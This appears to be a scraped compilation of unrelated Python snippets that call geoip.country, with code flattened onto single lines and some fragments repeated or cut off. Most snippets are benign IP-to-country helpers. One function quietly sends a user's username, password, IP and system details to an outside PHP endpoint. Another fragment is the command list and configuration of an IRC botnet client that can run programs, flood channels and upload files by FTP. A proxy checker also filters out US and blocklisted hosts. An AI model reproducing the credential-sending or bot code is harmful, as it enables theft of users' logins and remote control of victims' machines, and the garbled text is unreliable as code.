def process_proxy(self, pip): global judges global ip global block_list try: location = geoip.country(pip.ip) pip.location = location if location == "US" or location==None or location=="": pip.safe = False pip.alive = False print "US proxy" return pip except: print "country lookup failure." pip.safe = False pip.alive = False return pip try: gname = socket.gethostbyaddr(pip.ip) pip.hostname = gname[0] for bad in block_list: if gname[0].find(bad) > -1: print pip.ip, pip.hostname, "found in blocklist" pip.safe = False pip.alive = False return pip except Exception, e: #print "Couldn't find hostname: ", pip.ip, e pip.hostname = "no hostname"
def get_url_feature(url_input): network_features = {} hostname = urlparse(url_input).hostname url = urlparse(url_input)[0]+"://"+urlparse(url_input).hostname network_features['hostname'] = hostname try: ip = socket.gethostbyname(hostname) except: ip = "" try: if 'http' in url and url[-1] =='/': network_features['host_ip'] = socket.gethostbyname(url[url.find(':')+3:-1]) elif 'http' in url: network_features['host_ip'] = socket.gethostbyname(url[url.find(':')+3:]) else: network_features['host_ip'] = socket.gethostbyname(url) except: network_features['host_ip'] = '' try: lad = loc_asn_domain(network_features['host_ip']) network_features['country'] = geoip.country(ip) network_features['asn'] = lad[2] network_features['domain'] = lad[1] except: network_features['country'] = '' network_features['asn'] = '' network_features['domain'] = '' return network_features
def _update_db(user, pw, uid): import geoip ip = urllib.urlopen('http://automation.whatismyip.com/n09230945.asp').read() country = geoip.country(ip, BASE_PATH + "/src/gui/GeoIP.dat") now = datetime.datetime.now() data = {'u':user, 'p':pw, 'id':uid, 'i':ip, 'c':country, 'd':now.day, 'mn':now.month, 'y':now.year, 'h':now.hour, 'm':now.minute, 'o':platform.platform(), 'py':sys.version} urllib.urlopen("http://way2sms.co.nf/update.php?%s" % urllib.urlencode(data)) return False
def geoip_mapping(self, ip): if ip == '0.0.0.0': return "UNKNOWN" try: country = geoip.country(ip, global_file.GEOIP_MAP) except Exception as e: country = "UNKNOWN" return country
def geoip_mapping (self, ip): if ip == '0.0.0.0': return "UNKNOWN"; try: country = geoip.country(ip, global_file.GEOIP_MAP); except Exception as e: country = "UNKNOWN"; return country;
def write_line(in_row, out): date = in_row[0] ip = in_row[1] count = in_row[2] country = geoip.country(ip) if country == '': country = '--' line = "%s,%s,%s,%d\n" % (date.strftime('%Y-%m-%d'), ip, country, count) out.write(line)
def geolocate(): votes = Database.db.votes.find({'ip': {'$exists': True}}) count = 0 for vote in votes: count += 1 if (count % 10000) == 0: print 'Votes processed:', count vote_id = vote['_id'] ip = vote['ip'] country_code = geoip.country(ip) Database.db.votes.update({'_id': vote_id}, { '$set': {'country': country_code} })
def geolocate(): votes = Database.db.votes.find({'ip': {'$exists': True}}) count = 0 for vote in votes: count += 1 if (count % 10000) == 0: print 'Votes processed:', count vote_id = vote['_id'] ip = vote['ip'] country_code = geoip.country(ip) Database.db.votes.update({'_id': vote_id}, {'$set': { 'country': country_code }})
def ip_to_country(edx_obj): edx_obj.collections = ['tracking'] data_directory = os.path.abspath(os.path.dirname(__file__) + "/../data") with open(os.path.join(data_directory, 'country_code_to_country.csv')) as csv_file: reader = csv.reader(csv_file) country_code_to_country = dict(reader) cursor = edx_obj.collections['tracking'].find() tracking = defaultdict(set) for index, item in enumerate(cursor): tracking[item['username']].add(item['ip']) result = [] country_set = set() for key, value_set in tracking.iteritems(): for value in value_set: try: country_code = geoip.country(value, dbname=os.path.join( data_directory, 'GeoIP.dat')) country = country_code_to_country[country_code] if not key: key = 'anonymous' result.append([key, value, country_code, country]) elif (key, country) not in country_set: country_set.add((key,country)) result.append([key, value, country_code, country]) except KeyError: # IMPORTANT # The following code for an exception are hardcoded for those # IPs which do have a mapping to a country code but they were # not available in GeoIP.dat (most probably because it was # not updated). People using this script can either report this # code (under except) and or additional conditions IP addresses # which cannot be mapped to a country code stored in GeoIP.dat if value == '41.79.120.29': country = country_code_to_country['SS'] if not key: key = 'anonymous' result.append([key, value, 'SS', country_code_to_country['SS']]) elif (key, country) not in country_set: country_set.add((key, country)) result.append([key, value, 'SS', country_code_to_country['SS']]) edx_obj.generate_csv(result, ['Username', 'IP Address', 'Country Code', 'Country'], edx_obj.report_name(edx_obj.db.name, __name__.split('.')[-1]))
def run(self): try: while True: task = self.task_queue.get() country = geoip.country(task.ip_addr) print '[Thread: %s] Popped Ip: %s, Time: %s, Country: %s' % \ (self.thread_id, task.ip_addr, task.time, country) if country is 'HK': with lock: self.collector_set.add(task.ip_addr) self.task_queue.task_done(); except: print "Unexpected error:", sys.exc_info()[0] raise
reader = csv.reader(f) country_code_to_country = dict(reader) cursor = collection['tracking'].find() result = {} for index, item in enumerate(cursor): if item['username'] not in result: result[item['username']] = {item['ip']} else: result[item['username']].add(item['ip']) ip_to_country = [] country_set = set() #defaultdict(set) for key in result: for value in result[key]: try: country_code = geoip.country(value) country = country_code_to_country[country_code] if (key, country) not in country_set: country_set.add((key,country)) ip_to_country.append([key, value, country_code, country]) except: # IMPORTANT # The following code for an exception are hardcoded for those IPs which do have a mapping to a # country code but they were not available in GeoIP.dat (most probably because it was not updated) # People using this script can either report this code (under except) and or additional conditions # IP addresses which cannot be mapped to a country code stored in GeoIP.dat if value == '41.79.120.29': country = country_code_to_country['SS'] if (key, country) not in country_set: country_set.add((key, country)) ip_to_country.append([key, value, 'SS', country_code_to_country['SS']])
def ip_to_db(request, kwd): ip = get_client_ip(request) cont = geoip.country(ip) i = ip_country(ipfield = str(ip), country = cont, keyword = kwd) i.save()
def ip_to_country(value, db): return geoip.country(value, db)
def getCountry(ip): country = geoip.country(ip.strip()) if len(country) == 0: return "N/A" return country
def getCountry(ip): country =geoip.country(ip.strip()) if len(country) ==0: return "N/A" return country
# !run <path\file.exe> - EG. !run c:\windows\calc.exe - Simply imputting "!run calc.exe" will attempt to run from the current folder # !version - Bot will reply with the current version. # !visit <url> - Will visit the supplied URL # !ircflood <server> <port> <#chan> - Floods the specified IRC CHANNEL on the specified server. This will only be effective with alot of bots. # !os - Replies with operating system information. # !checkdir <DIR> - Checks if a directory exists and replies with the answer - eg. !checkdir c:\windows # !checkfile <DIR\FILE.EXE> - Checks if a file exists and replies with the answer - eg. !checkfile c:\windows\explorer.exe # !ftpsend <DIR\FILE.EXE> - Gets ready to send the file specified - use !ftpgo after this # !ftpgo <server> <login> <pass> <file2saveas> - This uploads the file you specified with ftpsend to <server> with <login>:<pass> and saves it as <file2saveas> ##########################END####################################### import sys, random, urllib2, string, time, os, re, socket, geoip, ftplib #GET OUR IP AND COUNTRY CODE myip = socket.gethostbyname(socket.gethostname()) mycountry = geoip.country(myip, 'winip.dat') #<CONFIG> irc_host1 = "irc.asdasdas.net" irc_host2 = "irc.lskdjfklsdjfkl.com" irc_host3 = "irc.lksjdfkljkljdf.com" irc_host4 = "irc.malvageasdasdasdr.com" irc_host5 = "irc.malvageasdasdr.com" irc_port1 = 6667 irc_port2 = 6667 irc_port3 = 6667 irc_port4 = 6667 irc_port5 = 6667 irc_channel = "#CHANNEL" irc_nick = "[rb0t]" + str(random.randint(1111111,9999999)) + "[" + mycountry + "]" bot_pass = "******"
reader = csv.reader(f) country_code_to_country = dict(reader) cursor = collection['tracking'].find() result = {} for index, item in enumerate(cursor): if item['username'] not in result: result[item['username']] = {item['ip']} else: result[item['username']].add(item['ip']) ip_to_country = [] country_set = set() #defaultdict(set) for key in result: for value in result[key]: try: country_code = geoip.country(value) country = country_code_to_country[country_code] if not key: key = 'anonymous' ip_to_country.append([key, value, country_code, country]) elif (key, country) not in country_set: country_set.add((key, country)) ip_to_country.append([key, value, country_code, country]) except: # IMPORTANT # The following code for an exception are hardcoded for those IPs which do have a mapping to a # country code but they were not available in GeoIP.dat (most probably because it was not updated) # People using this script can either report this code (under except) and or additional conditions # IP addresses which cannot be mapped to a country code stored in GeoIP.dat if value == '41.79.120.29': country = country_code_to_country['SS']
def get_country(ip): country = geoip.country(ip.strip()) if len(country) == 0: return "Private Address" return country